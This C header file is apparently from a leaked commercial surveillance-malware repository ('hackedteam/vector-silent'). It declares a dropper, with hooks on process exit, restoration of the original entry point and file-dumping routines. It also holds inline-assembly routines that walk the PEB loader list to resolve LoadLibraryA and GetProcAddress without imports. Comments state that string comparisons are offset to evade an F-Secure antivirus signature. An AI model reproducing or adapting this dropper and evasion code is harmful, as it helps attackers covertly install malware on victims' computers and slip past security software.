hackedteam/vector-silent

View on GitHub
vector-default/DropperCode.h

Summary

Maintainability
Test Coverage
#ifndef droppercode_h__
#define droppercode_h__

#include "common.h"
#include "DropperHeader.h"

#pragma region STRINGS_INDEXES

#define STRIDX_INSTALL_DIR        0
#define STRIDX_TMP_ENVVAR        1
#define STRIDX_TEMP_ENVVAR        2
#define STRIDX_KERNEL32_DLL     3
#define STRIDX_NTDLL_DLL        4
#define STRIDX_MSVCRT_DLL        5
#define STRIDX_LOADLIBRARYA        6
#define STRIDX_GETPROCADDRESS    7
#define STRIDX_RUNDLL            8
#define STRIDX_COMMAHFF8        9
#define STRIDX_HFF5                10
#define STRIDX_DIRSEP            11
#define STRIDX_USER32_DLL        12
#define STRIDX_RTLEXITUSERPROCESS 13
#define STRIDX_EXITCALL            14
#define STRIDX__EXITCALL        15
#define STRING_EXITPROCESS        16

#if _DEBUG
#define STRIDX_ERRORCREDIR        17
#define STRIDX_EXITPROCIDX        18
#define STRIDX_EXITPROCHOOKED   19
#define STRIDX_RESTOREOEP        20
#define STRIDX_EXITHOOKED        21
#define STRIDX_OEPRESTORED        22
#define STRIDX_CALLINGOEP        23
#define STRIDX_CREATEFILE_ERR   24
#define STRIDX_HFF5CALLING      25
#define STRIDX_HFF5CALLED        26
#define STRIDX_INEXITPROC_HOOK  27
#define STRIDX_VECTORQUIT        28
#define STRIDX_VERIFYVERSION    29
#define STRIDX_SYSMAJORVER        30
#define STRIDX_SYSMINORVER        31
#define STRIDX_RESTORESTAGE1    32
#define STRIDX_RESTORESTAGE2    33
#define STRIDX_UNCOMPRESS_ERR   34
#endif

#pragma endregion

#define STRING(idx) (char*)(strings + stringsOffsets[(idx)])

int __stdcall DropperEntryPoint( DropperHeader* header );
BOOL WINAPI DumpFile(CHAR * fileName, CHAR* fileData, DWORD fileSize, DWORD originalSize, DropperHeader* header);
DWORD WINAPI CoreThreadProc(LPVOID lpParameter);
typedef BOOL (WINAPI * DUMPFILE)(CHAR * fileName, CHAR* fileData, DWORD fileSize, DWORD originalSize, DropperHeader *header);
typedef void (*HFF5)(CHAR*, DWORD, STARTUPINFO*, PROCESS_INFORMATION*);

typedef HMODULE (WINAPI *GETMODULEHANDLE)(LPSTR);
typedef FARPROC (WINAPI *GETPROCADDRESS)(HMODULE, LPSTR);
typedef HMODULE (WINAPI *LOADLIBRARYA)(LPSTR);
typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI *VIRTUALFREE)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
typedef DWORD (WINAPI *GETMODULEFILENAMEA)(HMODULE hModule, LPSTR lpFilename, DWORD nSize);
typedef DWORD (WINAPI *GETENVIRONMENTVARIABLEA)(LPSTR lpName, LPSTR lpBuffer, DWORD nSize);
typedef DWORD (WINAPI *GETFILEATTRIBUTESA) (LPSTR lpFileName);
typedef BOOL (WINAPI *CREATEDIRECTORYA)(LPSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
typedef BOOL (WINAPI *SETCURRENTDIRECTORYA)(LPSTR lpPathName);
typedef BOOL (WINAPI *SETFILEATTRIBUTESA)(LPSTR lpFileName, DWORD dwFileAttributes);
typedef HANDLE (WINAPI *CREATEFILEA)(LPSTR lpFileName, 
                                     DWORD dwDesiredAccess, 
                                     DWORD dwShareMode, 
                                     LPSECURITY_ATTRIBUTES lpSecurityAttributes, 
                                     DWORD dwCreationDisposition, 
                                     DWORD dwFlagsAndAttributes, 
                                     HANDLE hTemplateFile);
typedef BOOL (WINAPI *WRITEFILE)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
typedef BOOL (WINAPI *CLOSEHANDLE)(HANDLE hObject);
typedef DWORD (WINAPI *GETLASTERROR)(void);
typedef BOOL (WINAPI *FREELIBRARY)(HMODULE hModule);
typedef BOOL (WINAPI *DELETEFILEA)(LPSTR lpFileName);
typedef int (WINAPI *SWPRINTF)(wchar_t *buffer, const wchar_t *format, ...);
typedef int (WINAPI *GETCURRENTPROCESSID)();

extern GETMODULEHANDLE pfn_GetModuleHandle;
extern LOADLIBRARYA pfn_LoadLibraryA;
extern GETPROCADDRESS pfn_GetProcAddress;
extern VIRTUALALLOC pfn_VirtualAlloc;
extern VIRTUALFREE pfn_VirtualFree;
extern GETMODULEFILENAMEA pfn_GetModuleFileNameA;
extern GETENVIRONMENTVARIABLEA pfn_GetEnvironmentVariableA;
extern GETFILEATTRIBUTESA pfn_GetFileAttributesA;
extern CREATEDIRECTORYA pfn_CreateDirectoryA;
extern SETCURRENTDIRECTORYA pfn_SetCurrentDirectoryA;
extern SETFILEATTRIBUTESA pfn_SetFileAttributesA;
extern CREATEFILEA pfn_CreateFileA;
extern GETLASTERROR pfn_GetLastError;
extern WRITEFILE pfn_WriteFile;
extern CLOSEHANDLE pfn_CloseHandle;
extern FREELIBRARY pfn_FreeLibrary;
extern DELETEFILEA pfn_DeleteFileA;
extern SWPRINTF pfn_swprintf;
extern GETCURRENTPROCESSID pfn_GetCurrentProcessId;

#pragma optimize( "", off )
__forceinline void _MEMSET_( void *_dst, int _val, size_t _sz )
{
    while ( _sz ) ((BYTE *)_dst)[--_sz] = _val;
}

__forceinline void _MEMCPY_( void *_dst, void *_src, size_t _sz )
{
    while ( _sz-- ) ((BYTE *)_dst)[_sz] = ((BYTE *)_src)[_sz];
}

__forceinline BOOL _MEMCMP_( void *_src1, void *_src2, size_t _sz )
{
    while ( _sz-- )
    {
        if ( ((BYTE *)_src1)[_sz] != ((BYTE *)_src2)[_sz] )
            return FALSE;
    }

    return TRUE;
}

__forceinline size_t _STRLEN_(char *_src)
{
    size_t count = 0;
    while( _src && *_src++ )
        count++;
    return count;
}

__forceinline size_t _STRLENW_(wchar_t *_src)
{       
    ULONG count = 0;
    while(_src && (*(PUSHORT)_src++ != 0x0000))
        count += 2;
    return count;
}

__forceinline int _STRCMP_(char *_src1, char *_src2)
{
    size_t sz = _STRLEN_(_src1);

    if ( _STRLEN_(_src1) != _STRLEN_(_src2) )
        return 1;

    return _MEMCMP_(_src1, _src2, sz ) ? 0 :  1;
}

__forceinline char* _STRRCHR_(char const *s, int c)
{
    char* rtnval = 0;

    do {
        if (*s == c)
            rtnval = (char*) s;
    } while (*s++);
    return (rtnval);
}


__forceinline  void _TOUPPER_CHAR(char *c)
{
    if((*c >= 'a') && (*c <= 'z'))
        *c = 'A' + (*c - 'a');
}

__forceinline int _STRCMPI_(char *_src1, char *_src2)
{
    char* s1 = _src1;
    char* s2 = _src2;

    while (*s1 && *s2)
    {
        char a = *s1;
        char b = *s2;

        _TOUPPER_CHAR(&a);
        _TOUPPER_CHAR(&b);

        if (a != b)
            return 1;

        s1++;
        s2++;
    }

    return 0;
}

__forceinline void _STRCAT_(char*_src1, char *_src2)
{
    char* ptr = _src1 + _STRLEN_(_src1);
    _MEMCPY_(ptr, _src2, _STRLEN_(_src2));
    ptr += _STRLEN_(_src2);
    *ptr = '\0';
}

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct {
    DWORD InLoadNext;
    DWORD InLoadPrev;
    DWORD InMemNext;
    DWORD InMemPrev;
    DWORD InInitNext;
    DWORD InInitPrev;
    DWORD ImageBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} PEB_LIST_ENTRY, *PPEB_LIST_ENTRY;

__forceinline GETPROCADDRESS resolveGetProcAddress()
{
    PEB_LIST_ENTRY* head;
    DWORD **pPEB;
    DWORD *Ldr;
    
    char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
    char strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };

    __asm {
        mov eax,30h
        mov eax,DWORD PTR fs:[eax]
        add eax, 08h
        mov ss:[pPEB], eax
    }
    
    Ldr = *(pPEB + 1);
    head = (PEB_LIST_ENTRY *) *(Ldr + 3);
    
    PEB_LIST_ENTRY* entry = head;
    do {        
        DWORD imageBase = entry->ImageBase;
        if (imageBase == NULL)
            goto NEXT_ENTRY;
        
        IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*) entry->ImageBase;
        IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*) (entry->ImageBase + dosHeader->e_lfanew);
        
        // *** check if we have an export table
        if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
            goto NEXT_ENTRY;
        
        // *** get EXPORT table
        IMAGE_EXPORT_DIRECTORY* exportDirectory = 
            (IMAGE_EXPORT_DIRECTORY*) (imageBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        
        // *** check for valid module name
        char* moduleName = (char*)(imageBase + exportDirectory->Name);
        if (moduleName == NULL)
            goto NEXT_ENTRY;
        
        if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature
        {
            if (exportDirectory->AddressOfFunctions == NULL) goto NEXT_ENTRY;
            if (exportDirectory->AddressOfNames == NULL) goto NEXT_ENTRY;
            if (exportDirectory->AddressOfNameOrdinals == NULL) goto NEXT_ENTRY;
            
            DWORD* Functions = (DWORD*) (imageBase + exportDirectory->AddressOfFunctions);
            DWORD* Names = (DWORD*) (imageBase + exportDirectory->AddressOfNames);            
            WORD* NameOrds = (WORD*) (imageBase + exportDirectory->AddressOfNameOrdinals);
            
            // *** get pointers to LoadLibraryA and GetProcAddress entry points
            for (WORD x = 0; x < exportDirectory->NumberOfFunctions; x++)
            {
                if (Functions[x] == 0)
                    continue;
                
                for (WORD y = 0; y < exportDirectory->NumberOfNames; y++)
                {
                    if (NameOrds[y] == x)
                    {
                        char *name = (char *) (imageBase + Names[y]);
                        if (name == NULL)
                            continue;
                        
                        if (!_STRCMPI_(strGetProcAddress, name))
                            return (GETPROCADDRESS)(imageBase + Functions[x]);
                        break;
                    }
                }
            }
        }
NEXT_ENTRY:
        entry = (PEB_LIST_ENTRY *) entry->InLoadNext;
    
    } while (entry != head);

    return 0;
}

__forceinline LOADLIBRARYA resolveLoadLibrary()
{
    PEB_LIST_ENTRY* head;
    DWORD **pPEB;
    DWORD *Ldr;
    
    char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
    char strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0x0 };

    __asm {
        mov eax,30h
        mov eax,DWORD PTR fs:[eax]
        add eax, 08h
        mov ss:[pPEB], eax
    }
    
    Ldr = *(pPEB + 1);
    head = (PEB_LIST_ENTRY *) *(Ldr + 3);
    
    PEB_LIST_ENTRY* entry = head;
    do {        
        DWORD imageBase = entry->ImageBase;
        if (imageBase == NULL)
            goto NEXT_ENTRY;
        
        IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*) entry->ImageBase;
        IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*) (entry->ImageBase + dosHeader->e_lfanew);
        
        // *** check if we have an export table
        if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
            goto NEXT_ENTRY;
        
        // *** get EXPORT table
        IMAGE_EXPORT_DIRECTORY* exportDirectory = 
            (IMAGE_EXPORT_DIRECTORY*) (imageBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        
        // *** check for valid module name
        char* moduleName = (char*)(imageBase + exportDirectory->Name);
        if (moduleName == NULL)
            goto NEXT_ENTRY;
        
        if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature
        {
            if (exportDirectory->AddressOfFunctions == NULL) goto NEXT_ENTRY;
            if (exportDirectory->AddressOfNames == NULL) goto NEXT_ENTRY;
            if (exportDirectory->AddressOfNameOrdinals == NULL) goto NEXT_ENTRY;
            
            DWORD* Functions = (DWORD*) (imageBase + exportDirectory->AddressOfFunctions);
            DWORD* Names = (DWORD*) (imageBase + exportDirectory->AddressOfNames);            
            WORD* NameOrds = (WORD*) (imageBase + exportDirectory->AddressOfNameOrdinals);
            
            // *** get pointers to LoadLibraryA and GetProcAddress entry points
            for (WORD x = 0; x < exportDirectory->NumberOfFunctions; x++)
            {
                if (Functions[x] == 0)
                    continue;
                
                for (WORD y = 0; y < exportDirectory->NumberOfNames; y++)
                {
                    if (NameOrds[y] == x)
                    {
                        char *name = (char *) (imageBase + Names[y]);
                        if (name == NULL)
                            continue;
                        
                        if (!_STRCMPI_(strLoadLibraryA, name))
                            return (LOADLIBRARYA)(imageBase + Functions[x]);
                        break;
                    }
                }
            }
        }
NEXT_ENTRY:
        entry = (PEB_LIST_ENTRY *) entry->InLoadNext;
    
    } while (entry != head);

    return 0;
}
#pragma optimize( "", on )

#endif /* droppercode_h__ */